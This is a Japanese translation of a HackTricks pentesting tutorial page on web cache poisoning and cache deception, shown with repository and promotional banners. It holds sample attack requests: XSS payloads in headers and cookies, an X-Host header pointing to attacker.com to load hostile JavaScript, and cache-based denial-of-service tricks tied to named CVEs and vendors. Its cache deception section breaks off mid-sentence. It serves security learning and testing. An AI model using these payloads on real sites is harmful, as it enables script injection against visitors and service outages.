Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 09:27:32 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md
Translator workflow e90c803209 Translated to Japanese
2023-07-07 23:42:27 +00:00

20 KiB
Raw Blame History

キャッシュの改ざんとキャッシュの欺瞞

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

違い

ウェブキャッシュの改ざんとウェブキャッシュの欺瞞の違いは何ですか？

  • ウェブキャッシュの改ざんでは、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
  • ウェブキャッシュの欺瞞では、攻撃者はアプリケーションに別のユーザーの機密コンテンツをキャッシュに保存させ、その後、攻撃者はこのコンテンツをキャッシュから取得します。

キャッシュの改ざん

キャッシュの改ざんの目的は、クライアントが予期しないリソースを部分的にまたは攻撃者によって制御されたものとして読み込むことです。
改ざんされたレスポンスは、キャッシュが改ざんされている間に影響を受けるページを訪れるユーザーにのみ提供されます。その結果、ページが人気があるかどうかによって、影響は存在しないものから大規模なものまでさまざまです。

キャッシュの改ざん攻撃を実行するには、まずキャッシュされたリクエストに表示される必要のないパラメータ（キーのない入力）を特定し、このパラメータを悪用してレスポンスをキャッシュさせる必要があります。

発見：HTTPヘッダーの確認

通常、レスポンスがキャッシュに保存されている場合、それを示すヘッダーが存在します。どのヘッダーに注意を払うべきかを確認するには、この記事を参照してください：HTTPキャッシュヘッダー。

発見：キャッシュされた400コード

レスポンスがキャッシュされていると思われる場合、不正なヘッダーを含むリクエストを送信して、ステータスコード400で応答されるかどうかを確認できます。その後、通常通りにリクエストにアクセスし、レスポンスが400ステータスコードである場合、脆弱性があることがわかります（DoS攻撃も実行できます）。
不正な設定されたヘッダーは、ヘッダーとして単に\:である場合があります。
なお、このようなステータスコードはキャッシュされない場合もあるため、このテストは無意味になることがあります。

発見：キーのない入力の特定と評価

Param Minerを使用して、ページのレスポンスを変更する可能性のあるパラメータとヘッダーをブルートフォースできます。たとえば、ページがX-Forwarded-Forヘッダーを使用してクライアントにスクリプトをそこから読み込む場合があります：

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

バックエンドサーバーから有害な応答を引き出す

特定したパラメータ/ヘッダーがどのように「サニタイズ」されているか、またはどのようにヘッダーから応答に影響を与えているかを確認します。それを悪用することはできますか（XSSを実行するか、自分が制御するJSコードをロードするか？ DoSを実行するか？...）

応答をキャッシュする

悪用できるページ、使用するパラメータ/ヘッダー、およびその悪用方法を特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があります。数秒間試行する必要があるかもしれません。
応答のヘッダー「X-Cache」は非常に役立つ場合があります。リクエストがキャッシュされていない場合は値「miss」を持ち、キャッシュされている場合は値「hit」を持つことがあります。
ヘッダー「Cache-Control」も興味深いです。リソースがキャッシュされているかどうか、次回リソースが再度キャッシュされる予定の時間を知るためのものです：Cache-Control: public, max-age=1800
もう1つの興味深いキャッシュに関連するヘッダーは「Vary」です。このヘッダーは通常はキーとされないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すためによく使用されます。したがって、ユーザーがターゲットとしている被害者の「User-Agent」を知っている場合、特定の「User-Agent」を使用しているユーザーのキャッシュを改ざんすることができます。
キャッシュに関連するもう1つのヘッダーは「Age」です。これはオブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。

リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があり、被害者は同じヘッダーを使用する必要があります。キャッシュポイズニングをテストする際には、異なるブラウザで常に動作するかどうかを確認してください。

攻撃の例

最も簡単な例

「X-Forwarded-For」というヘッダーが応答でサニタイズされずに反映されています。
基本的なXSSペイロードを送信し、キャッシュを改ざんしてページにアクセスするすべてのユーザーにXSSを実行できます。

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

注意：これによって、/en ではなく /en?region=uk へのリクエストが改ざんされます。

ウェブキャッシュ改ざんを使用して、クッキーハンドリングの脆弱性を悪用する

クッキーは、ページのレスポンスにも反映される場合があります。たとえば、XSSを引き起こすために悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができるかもしれません。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストによってキャッシュがクリーニングされる可能性があります。

複数のヘッダーを使用してウェブキャッシュの改ざん脆弱性を悪用する

ウェブキャッシュを悪用するためには、複数のキーのない入力を悪用する必要がある場合があります。たとえば、X-Forwarded-Hostを自分が制御するドメインに設定し、X-Forwarded-Schemeをhttpに設定すると、オープンリダイレクトを見つけることができるかもしれません。もしサーバーがすべてのHTTPリクエストをHTTPSに転送し、リダイレクトのドメイン名としてヘッダーX-Forwarded-Schemeを使用している場合、リダイレクト先のページを制御することができます。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

限られたVaryヘッダーを利用した攻撃

もし、X-HostヘッダーがJSリソースをロードするためのドメイン名として使用されているが、レスポンスの**VaryヘッダーがUser-Agent**を示している場合、被害者のUser-Agentを外部に流出させ、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります。

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

HTTPリクエストスマグリングを悪用したHTTPキャッシュポイズニングの攻撃手法

HTTPリクエストスマグリングを悪用したキャッシュポイズニング攻撃の実行方法について学びましょう。

Webキャッシュポイズニングの自動テスト

Webキャッシュ脆弱性スキャナーを使用すると、Webキャッシュポイズニングの自動テストが行えます。このツールは多くの異なる技術をサポートしており、高度にカスタマイズ可能です。

使用例: wcvs -u example.com


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化することができます。
今すぐアクセスを取得してください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

脆弱な例

Apache Traffic Server (CVE-2021-27577)

ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーはホスト、パス、クエリのみを使用して生成されます（フラグメントは無視されます）。そのため、リクエスト /#/../?r=javascript:alert(1) は /#/../?r=javascript:alert(1) としてバックエンドに送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれます。

GitHub CP-DoS

コンテンツタイプヘッダーに不正な値を送信すると、キャッシュされた405のレスポンスがトリガーされます。キャッシュキーにはクッキーが含まれているため、認証されていないユーザーのみを攻撃することができます。

GitLab + GCP CP-DoS

GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。GCPバケットは**ヘッダー x-http-method-override**をサポートしています。そのため、ヘッダー x-http-method-override: HEAD を送信し、キャッシュを毒化して空のレスポンスボディを返すことができます。また、メソッド PURGE もサポートしています。

Rack Middleware (Ruby on Rails)

Ruby on Railsアプリケーションは、しばしばRackミドルウェアと一緒にデプロイされます。以下のRackコードは、x-forwarded-schemeの値を取得し、リクエストのスキームとして使用します。

ヘッダー x-forwarded-scheme: http を送信すると、同じ場所への301リダイレクトが発生し、この例のようにそのリソースに対するDoSが発生します。

アプリケーションはヘッダー X-forwarded-host もサポートしており、ユーザーをそのホストにリダイレクトすることができます。これにより、攻撃者のサーバーからJavaScriptファイルを読み込むことが可能になります。

403とストレージバケット

以前、Cloudflareは403のレスポンスをキャッシュしていました。そのため、S3やAzure Storage Blobsにアクセスしようとする不正な認証ヘッダーを送信すると、キャッシュされた403が返されます。ただし、Cloudflareはもはや403のレスポンスをキャッシュしないため、他のプロキシでは機能しない場合があります。

キー付きパラメータの注入

キャッシュはしばしばキャッシュキーに特定のGETパラメータのみを含めるように構成されています。

たとえば、FastlyはVarnishを使用してリクエストの size パラメータをキャッシュしますが、siz%65 パラメータも送信し、不正な値を含めると、キャッシュキーは適切に書かれた size パラメータで構築されますが、バックエンドはURLエンコードされたパラメータ内の値を使用します。

2番目の size パラメータをURLエンコードすると、キャッシュには無視されますが、バックエンドには使用されます。パラメータに値0を指定すると、キャッシュ可能な400 Bad Requestが返されます。

ユーザーエージェントルール

FFUFやNucleiなどのツールが生成するトラフィックの量が多いため、一部の開発者はユーザーエージェントに一致するリクエストをブロックすることを決定しました。皮肉なことに、これらの調整は望ましくないキャッシュポイズニングとDoSの機会を生み出すことがあります。

私はこの方法が複数のターゲットで機能することを確認しました。異なるツールやスキャナーのユーザーエージェントを使用したリクエストに対して有効でした。

非正規のヘッダーフィールド

ヘッダー名の形式はRFC7230で次のように定義されています。

理論上、ヘッダー名にはtcharにリストされていない文字が含まれている場合、400 Bad Requestで拒否されるはずです。しかし、実際には、サーバーは常にRFCを遵守しているわけではありません。このニュアンスを悪用する最も簡単な方法は、無効なヘッダーを拒否せずに転送し、キャッシュコントロールヘッダーが存在しない限り、400エラーをキャッシュするAkamaiをターゲットにすることでした。

\を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生します。これは、私のテスト中で最もよく特定されたパターンの1つでした。

新しいヘッダーの発見

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

キャッシュデセプション

キャッシュデセプションの目的は、クライアントがキャッシュに保存されるリソースを、それらの機密情報を含んだ状態で読み込むことです。

まず、.css、.js

参考文献


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥